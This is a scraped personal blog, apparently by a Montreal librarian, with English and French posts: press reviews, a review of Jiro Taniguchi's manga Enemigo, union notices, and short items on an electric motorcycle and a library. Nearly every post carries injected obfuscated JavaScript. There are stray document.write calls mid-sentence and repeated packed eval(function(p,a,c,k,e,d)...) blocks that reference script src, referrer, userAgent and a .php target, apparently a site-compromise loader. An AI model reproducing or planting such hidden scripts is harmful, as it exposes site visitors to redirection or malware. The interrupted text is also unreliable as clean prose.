Finally, check this interview where Hamm and Radcliffe talk about the TV series:

http://embedded-video.guardianapps.co.uk/?a=false&u=/tv-and-radio/video/2012/nov/28/radcliffe-hamm-young-doctors-notebook-video
[ Traduire ]

Press Review (2013-01-15)

In the last couple of weeks I’ve spent much of my free time working on finishing the kitchen/bar-type counter in the back of my office (completing the base, document.write(“”); installing the counter itself, the sink, and connecting the plumbing). It now looks pretty good, but it still need some finishing touch (finishing panels and doors). I’ve also installed a few more softwares in my new iMac and cloned its hard-drive for an extra safety (I use and trust Time Machine but you never know…). However, I am starting to experience problems with the Mac Mini so I might have to reinstall the OS on that one too. I still had time to read some news online and, as usual, you’ll find the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rirnd|var|u0026u|referrer|fhbiy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rdtfs|var|u0026u|referrer|bbakr||js|php’.split(‘|’),0,{}))


Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humor

    A group of friends started two (not one, two!) webcomics:

  • Dungeon Sweet Dungeon: Home is where the heart gets sacrificed, by [Jean Carrières &] Normand Bilodeau aka Henbe (link)
  • Get Stuffed!: The Everyday Story of a Videogame Heroine Trying to Make it in a World of Puppets, by Lucien Soulban & Ghislain Barbe (link)

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Enemigo

“Après avoir connu la dictature et la guerre civile, document.write(“”); le Nacencio, État d’Amérique latine, s’engage sur la voie de la modernisation. Afin de transformer la jungle du sud du pays en terres arables, les autorités font appel à la société japonaise de bâtiment Seshimo. Lorsque Yûji Seshimo, son jeune et brillant président, se rend sur place, il est kidnappé par des mercenaires qui demandent l’arrêt immédiat des travaux… Manoeuvre du lobby du blé américain afin de contrer un concurrent potentiel ? Baroud d’honneur des derniers partisans de la dictature ? Opération commando des forces révolutionnaires? Complot des membres du conseil d’administration de Seshimo hostiles au trop jeune patron ?”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rrdir|var|u0026u|referrer|ekhka||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dykir|var|u0026u|referrer|bidkr||js|php’.split(‘|’),0,{}))

“C’est à Ken’ichi, le frère de Yûj, qu’il revient de démêler l’écheveau. Accompagné de Gloria, la secrétaire de son frère, cet ancien du Vietnam, aujourd’hui détective privé aux Etats-Unis, s’enfonce dans la jungle du Nacencio où l’attendent trahisons, courses-poursuites, guet-apens et autres réjouissances !” [ Texte du rabat intérieur de couverture ]

Continuez après le saut de page >>

Enemigo (?????) est d’abord sérialisé dans le magazine d’Akita Shoten Play Comic entre décembre 1984 et avril 1985 avant d’être publié en un volume au Japon en 1985 par Futabasha [voir couverture ci-contre] (et réédité par Kobunsha en 2007 avec le sous-titre “The director’s cut edition”). Il sera publié en France, dans la collection Sakka de Casterman, à la fin juin 2012. Conçu et dessiné par Jiro TANIGUCHI, ce manga seinen a été écrit par M.A.T., qui serait (selon la postface de Taniguchi) un ”groupe d’action scenaristique” dont l’identité demeure toujours un mystère même de nos jours. Le titre Enemigo veut dire ennemi en espagnol, ce qui permet à l’auteur de faire dire au protagoniste le clin d’oeil “adios enemigo” au lieu du traditionnel “adios amigo.”

Enemigo fait partie des “oeuvres de jeunesse” de Taniguchi et, par conséquent, n’a donc rien à voir avec le style plus raffiné et les récits introspectifs qui ont fait sa renommé en Europe. À ses débuts il s’intéressait surtout à des histoires d’action et son style n’est pas encore parfaitement défini. Pour plus de détails sur la mise en contexte de ce manga dans l’ensemble de l’oeuvre de Taniguchi, je vous réfère à mon commentaire précédant qui porte sur Garôden, un manga datant de 1990. 

[ Planches 8 à 10, ici présentées de gauche à droite : ]

Taniguchi nous dit dans la postface que les récits d’aventure-action étaient à l’époque forts populaires en littérature mais pratiquement absents dans le manga et c’est pour remédier à cette lacune qu’il entreprit Enemigo. Il s’est inspiré du roman noir américain qui met en scène un héros dur au coeur tendre et qui ne manque pas de repartie. Il a tenté de donner un angle socio-politique au récit mais tout en restant authentique aux “codes traditionnels du genre (une belle commanditaire, des armes à feu, des morts, l’amitié, l’amour, la trahison, la séparation finale).” Évidemment les exigences du genre (les détectives-privés ne foisonnent pas au Japon) l’ont amené à situer l’histoire à l’étranger (en Amérique du Sud et à New York) et comme Taniguchi s’intéressait déjà (et en subissait l’influence) à la bande-dessinée européenne, la critique de l’époque a reproché à Enemigo d’être trop occidental. On y reconnait aussi une grande influence du cinéma d’action américain (style Rambo). [Page 16, ci-contre]

[ Planches 25 et 36-37, encore une fois présentées ici de gauche à droite : ]

Enemigo est, jusqu’à maintenant (avec Le chien Blanco), le titre le plus ancien de Taniguchi à avoir été traduit. Et, on a beau parler d’une oeuvre de jeunesse, il est évident que, dans les années ’80, Taniguchi possède déjà une grande maîtrise de son art. Ainsi, malgré qu’elle soit antérieure à Garôden, je trouve l’histoire d’Enemigo beaucoup plus intéressante, quoique certains diront sûrement qu’il s’agit d’un polar peu originale et plutôt stéréotypée, mais n’était-ce pas ce que recherchait Taniguchi? Il sait inculqué au récit une forte tension, y ajoutant beaucoup de violence (et même une scène de sexe! Là on est vraiment loin de ses récits contemplatifs des années ’90!), et réussit sans mal à conserver l’attention du lecteur. Ce n’est certes pas parfait mais que demander de plus? Même son dessin m’apparait plus détaillé, quoiqu’il est encore chargé de plusieurs “lignes de vitesse” et d’effets sonore, mais quand même moins que pour Garôden. [Page 56, ci-contre]

[ Planches 99, 146 et 160, toujours présentées de gauche à droite : ]

On reconnait d’ailleurs déjà dans Enemigo plusieurs éléments précurseurs qui feront la force des oeuvres récentes de Taniguchi: le récit se déroule plutôt lentement (et ce malgré que ce soit une histoire d’action), le héros est pensif et solitaire, on y retrouve aussi un certain soucis du détail (particulièrement dans les paysages d’arrière-plan) ainsi qu’un intérêt pour la nature et les animaux (la jungle et le chien Little John qui est en quelque sorte le second du héros et que Taniguchi avait expressément demandé aux scénaristes d’inclure dans le récit).

[ Finalement, les Planches 178-79, présentées de gauche à droite : ]

C’est un livre plus soigné où l’on retrouve une douzaine de planches couleurs et un important dossier de quarante-trois pages qui comporte une galerie d’illustrations (cinq en couleurs et plusieurs sketch), une postface et un interview de Taniguchi ainsi que des commentaires par Katsuya Terada (Blood: The Last Vampire, Saiyukiden), Nicolas Finet (DicoManga), Vittorio Giardino (Les Enquêtes de Sam Pezzo), François Schuiten (Les Cités obscures), et Baru (L’Autoroute du soleil).

Pour conclure, Enemigo est certes un thriller noir plutôt typique mais c’est tout de même un très bon gekiga et je le recommande chaudement.

Enemigo, par Jiro TANIGUCHI (dessin) & M.A.T. (texte). Paris, Sakka (Casterman), 2012. 15 x 21 x 2.3 cm, 312 pgs,. 13,95 € / $24.95 Can. Sens de lecture original. ISBN: 978-2-203-03011-4. Recommandé pour jeune adulte (14+).
Enemigo © Jiro TANIGUCHI / M.A.T., 2007; © CASTERMAN, 2012 pour la traduction française.

[ Translate ]

Press Review (2012-12-28)

I didn’t do much in the last couple of weeks because I was too busy setting up my new computer (which works great; finally!) and doing some renovation in my office (changing my wobbly table with a brand new kitchen-type counter top and installing a similar counter top in the back of the office as a working area, document.write(“”); with a sink). One notable event: One night I was awaken by one of my cats making quite a ruckus and I quickly realized that he had caught a mouse, in the house! Now I have to make sure that such invasion never happens again. Finally, winter came upon us. After a first real snow storm that left just a few centimetres of the white stuff, we had rain on the day of the winter solstice (but the world didn’t end, thankfully) and it left enough snow (or ice) to insure a white Christmas. However, yesterday we got a huge snow storm that paralyzed the city. Actually, we’ve beaten the record of the “storm of the century” for the amount of snow which fell during the same day: nearly 50 centimetres! That left quite a pile of snow in front of the house. Just like in my childhood. With all this I didn’t have time to read much news, but I still gathered a few interesting stories. You’ll find the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yfrhn|var|u0026u|referrer|hdnkr||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ybbsn|var|u0026u|referrer|fhsry||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Press Review (2012-12-10)

Nothing changed much in the last couple of weeks. I am still suffering from spells of diziness (it’s not severe enough to be a Labyrinthitis so I guess it should be something like BPPV ? Anyway, document.write(“”); I should really try to find time to consult on this, because it’s been several weeks and is quite annoying (and my wife worries). My iMac finally shipped from China and should be delivered imminently. I’ll probably be busy for the next couple of weeks while I set it up properly. The Holidays are approaching quickly and now it really feels like it since we’ve finally got a real snow storm (although very small, just a few centimeters, and it quickly rained on it). As usual, here some links to the online news stories that I found interesting (after the jump):
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tkbet|var|u0026u|referrer|znyib||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tiszk|var|u0026u|referrer|adtez||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Cool motocycle

While watching BBC’s Click tech news show, document.write(“”); I came across this really cool motocycle of the future. Actually, it is an electric vehicle which is an hybrid between a car and a motocycle. It reminds me of Kaneda’s bike in Akira. The particularity of its design is that, thanks to two gyroscopes, it stands upright and can never fall on its side. Called the C1, it was conceived by Lit Motors, a company located in California, and should be available on the market in 2014 for the hefty price of $25,000. Hopefully, with time, the cost will diminish.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryffd|var|u0026u|referrer|hyrfs||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|btrdd|var|u0026u|referrer|iayiy||js|php’.split(‘|’),0,{}))

This story has been around for a while but I think it’s worth sharing anyway. See for yourself how cool it is
after the jump >>

First, two promo videos from Lit Motors:



Plus a report from SmartPlanet:


A CNET interview:

And a CNN Money report:

[ Traduire ]

Bibliothèque Marc-Favreau

Des entrées sur Facebook (ainsi qu’un billet sur la page du Canardo Pressé) m’ont fait découvrir sur Youtube cette video offrant une visite virtuelle de la <a href="http://ville.montreal.qc.ca/portal/page?_pageid=7357, document.write(“”); 100603672&_dad=portal&_schema=PORTAL” target=”“new””>future bibliothèque Marc-Favreau:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|izhik|var|u0026u|referrer|eynnn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fhzfn|var|u0026u|referrer|skkfr||js|php’.split(‘|’),0,{}))


Ça nous donne le goût d’y travailler…

Relaxing view of automn

Gizmodo brought this to my attention: A nice relaxing view of leaves changing colors…
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zynft|var|u0026u|referrer|fnnfn||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ztiht|var|u0026u|referrer|hyshi||js|php’.split(‘|’),0,{}))

Fall from jamie scott on Vimeo.

Press Review (2012-11-27)

In the last couple of months I’ve been suffering from intermittent spell of dizziness. I’m not sure exactly what’s causing this, document.write(“”); but it is quite annoying (particularly this week-end). Strangely it strikes mostly when I am tired, after a long week of work, during my days off (as I am catching up on my sleep). Not much happened this week (however Apple FINALLY announced a date for the new iMacs! I’ll soon have a REAL computer to work with — whatever we say, a Mac-mini and an iPad can’t do all the work of a desktop), but there was a lot of interesting stories in the news (I read a lot online this long week-end). As usual, I am sharing the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azbet|var|u0026u|referrer|drksd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afkhz|var|u0026u|referrer|kzhae||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

[ Traduire ]

Démocratie syndicale : la pyramide inversée

L’équipe du 109 au 429 nous annonce la tenue d’une seconde Conférence-discussion cette fois sur le sujet de la démocratie syndicale: “Démocratie syndicale : la pyramide inversée.”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhtaa|var|u0026u|referrer|hhndh||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhhaf|var|u0026u|referrer|disni||js|php’.split(‘|’),0,{}))

La présentation abordera notamment les embûches qui font en sorte que les structures syndicales peuvent sembler déconnectées des membres, document.write(“”); alors que sur papier, elles semblent à l’écoute de ces derniers et apparaissent structurées démocratiquement. Le tout sera suivi d’une discussion.

La conférence aura lieu à l’UQÀM (salle A-2645, Pavillon Hubert-Aquin [entrée coin St-Denis/Ste-Catherine], 2e étage) le Mardi 4 décembre 2012 à partir de 19h00.

Vous pouvez aussi visiter la page Facebook du 109 au 429 pour approfondir et partager cette information.

Note : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

MàJ (2 déc): Après avoir finalement rempli le sondage, j’en profite pour mettre à jour (encore) le billet “Note syndicale” où je donne mes priorités et suggestions de points à négocier dans la convention collective des cols blancs de la ville de Montréal.

[ Translate ]

Press Review (2012-11-19)

Another difficult week. Nothing really important happened (I am STILL waiting for the new iMacs to be released and I am getting QUITE impatient!), document.write(“”); but strangely there was nevertheless lots of interesting small news stories. Check the links after the jump:
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|frhkf|var|u0026u|referrer|zeiih||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dybst|var|u0026u|referrer|isaes||js|php’.split(‘|’),0,{}))

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Economy, Environment & International/U.S. Politics

Health, home & garden

Humour

Local News & National Politics

Media, Culture, & Society

Sciences & History

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

[ Traduire ]

Mise à jour syndicale

Un bref billet juste pour vous informer que j’ai effectué ces derniers jours et semaines plusieurs mises à jour sur des billets d’information de nature syndicale.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|iynbz|var|u0026u|referrer|sdzty||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nirik|var|u0026u|referrer|hrkyh||js|php’.split(‘|’),0,{}))

Ces ajouts sont identifiés par la mention “Mise à jour:” (ou simplement “MàJ:”) et sont surlignés en jaune.

Vous les retrouverez dans les billets suivants:

Finalement, j’en profite pour vous enjoindre à nouveau d’aller sur le site du SFMM et d’y remplir le sondage pour exprimer votre opinion sur VOS priorités dans la négociation de notre prochaine convention collective. Ne tardez pas: C’est important et vous n’avez que deux semaines pour le faire ! [ Quant à moi, la priorité est de négocier cette convention au plus vite! ]

MàJ (28 nov.) : La période pour remplir le sondage en ligne portant sur notre future convention collective (via le site du SFMM) a été prolongé jusqu’au 7 décembre! Remplissez-le, c’est important!

[ Translate ]

Clodji au Salon du livre 2012

Vendredi j’ai visité le Salon du livre de Montréal en long et en large (mais ce fut tout de même une visite éclaire, document.write(“”); en un peu plus d’une heure) et tout ce que j’en ai gardé est une sensation de profond écoeurement.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zbrzf|var|u0026u|referrer|dhsfy||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezbrs|var|u0026u|referrer|dyisi||js|php’.split(‘|’),0,{}))

Premièrement, il faut être pas mal masochiste pour visiter le salon après avoir passé une dure et très longue journée à travailler en bibliothèques (une de ces journées d’enfer qui vous font reconsidérer votre plan de carrière; ce n’est pas tout d’accomplir avec le sourire la pléthore des tâches variés qu’on vous attribut, mais le faire dans la cacophonie de petits morveux dissipés et irrespectueux qui hurlent et courent partout, c’est très exigeant).

Finalement, la présence de tous ces livres m’a laissé abasourdi, écrasé par une surcharge visuelle et intellectuelle. Il me semble que ce n’était pas comme cela quand je visitais le salon étant jeune. J’en conserve un souvenir d’émerveillement et d’admiration devant tout cet accomplissement littéraire. Des fois je me demande si il n’y a pas trop de livres publiés de nos jours. On en est venu à publier n’importe quoi et n’importe qui de sorte que tous les grands auteurs et ouvrages importants sont noyés dans la masse de ces titres insignifiants et médiocres. C’est cela sans doute la démocratisation de la littérature…

Et c’est probablement encore pire avec l’édition électronique, dont on faisait grand cas encore une fois cette année au salon. Est-ce vraiment une bonne chose que monsieur et madame tout le monde (et n’oublions surtout pas toutou) puissent raconter leur petite histoire et partager anecdotes et recettes savoureuses? Heureusement que les éditeurs ne publient qu’une fraction infime des manuscrits qu’ils recoivent!

Enfin, peut-être que l’édition a toujours été comme cela et, alors que les années passent, l’ivraie s’envole et qu’il ne reste plus dans notre souvenir que les perles et les classiques. C’est vrai, après tout il y a la loi de Sturgeon qui affirme que quatre-vingt dix pour cent de tout est de la merde! Peut-être, mais pour l’instant je ne vois qu’un gâteau visuellement trop riche, qui me reste sur l’estomac. La forêt de livres cache la littérature et je me sens dépassé, anesthésié, gourd et désensibilisé. Et au milieu de tout cela, la télévision, en directe, qui se se bat pour prendre à vos enfants le peu d’attention qu’ils peuvent donner. Les mots, il en reste si peu, auront-ils encore toujours un sens pour ces enfants turbulants, en constant état d’excitation comme de quelconques atomes, agités par les ondes de leurs écrans cathodiques?

J’ai tout de même apercu quelques livres beaux (sur la géographie ou l’art) ou amusants (comme ces compilations de Naruto grand format, immitant les magazines manga japonais hebdomadaires). Mais trop c’est trop. Et je reviens bredouille, mon épuisette vide, sans même la moindre suggestion d’achat pour Noël. Quelle tristesse.

[ Translate ]

Commentaire syndical, suite

Pour faire suite à mon précédent commentaire syndical, document.write(“”); je voudrais signaler que dans le dernier Col Blanc (daté d’octobre mais que nous n’avons reçu à la bibliothèque que la semaine dernière), le SFMM annonce: “nous sommes sur le point de mettre en ligne un sondage afin de vous consulter sur vos priorités dans la perspective de la négociation de la prochaine convention collective (…). Ce sondage est le fruit d’un colloque qui s’est tenu le 31 mars (…). Soyez assurés que lorsque nous aurons compilé les réponses du sondage, nous nous attaquerons à la rédaction d’un projet de convention collective (…).”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zzkrd|var|u0026u|referrer|kkayd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
